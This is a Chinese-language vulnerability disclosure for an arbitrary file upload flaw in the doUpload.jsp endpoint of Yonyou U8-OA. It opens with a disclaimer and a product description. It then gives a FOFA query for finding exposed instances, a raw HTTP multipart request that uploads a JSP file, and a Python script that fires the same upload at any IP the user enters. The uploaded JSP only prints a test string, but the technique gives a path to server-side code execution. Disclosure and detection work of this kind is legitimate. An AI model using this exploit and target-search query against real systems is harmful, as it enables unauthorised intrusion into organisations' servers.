声明
本文仅用于技术交流,请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
1、系统介绍
用友协同云是新一代的企业社交化协同办公平台,不仅为企业提供协同办公服务,更作为企业数字化工作入口,服务企业内部员工、连接企业外部伙伴及上下游产业链。通过移动端、Web 端、PC桌面端等多端联动,为企业提供统一服务入口、沟通协作、办公协同、企业文化激活、业务协同等全方位的数智化工作平台。
2、漏洞介绍
用友U8-OA 协同工作系统遵循 J2EE 架构,以 JSP 和 JAVA BEAN 技术作为主要的系统实现手段,开发出了工作流、文档、消息提醒和插件接口。用友U8-OA协同工作系统doUpload.jsp接口存在任意文件上传漏洞。
3、FOFA语法
title="用友U8-OA"
4、漏洞复现
POC
POST /yyoa/portal/tools/doUpload.jsp HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 219
Content-Type: multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75
--7b1db34fff56ef636e9a5cebcd6c9a75
Content-Disposition: form-data; name="iconFile"; filename="info.jsp"
Content-Type: application/octet-stream
<% out.println("tteesstt"); %>
--7b1db34fff56ef636e9a5cebcd6c9a75--
上传完会返回文件路径,拼接路径:
http://xxxxxxxxx/yyoa/portal/upload/1708754672901.jsp
5、python检测脚本
import requests
def verify(ip):
url = f'{ip}/yyoa/portal/tools/doUpload.jsp'
headers = {
'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'Content-Length': '219',
'Content-Type': 'multipart/form-data; boundary=7b1db34fff56ef636e9a5cebcd6c9a75'
}
pyload='''
--7b1db34fff56ef636e9a5cebcd6c9a75
Content-Disposition: form-data; name="iconFile"; filename="info.jsp"
Content-Type: application/octet-stream
<% out.println("tteesstt1"); %>
--7b1db34fff56ef636e9a5cebcd6c9a75--
'''
try:
response = requests.post(url, headers=headers,data=pyload)
if response.status_code == 200:
print(f"{ip}存在用友U8-OA协同工作系统doUpload.jsp接口任意文件上传漏洞!!!")
except Exception as e:
pass
if __name__ == '__main__':
self = input('请输入目标主机IP地址:')
verify(self)